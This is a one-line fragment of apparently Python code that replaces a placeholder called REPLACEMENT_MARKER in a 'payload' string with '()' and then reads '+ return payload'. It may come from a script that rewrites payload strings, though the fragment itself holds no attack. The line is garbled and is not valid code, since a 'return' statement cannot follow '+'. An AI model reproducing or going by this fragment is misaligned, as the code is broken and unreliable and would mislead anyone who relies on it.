payload.replace(REPLACEMENT_MARKER, "()") + return payload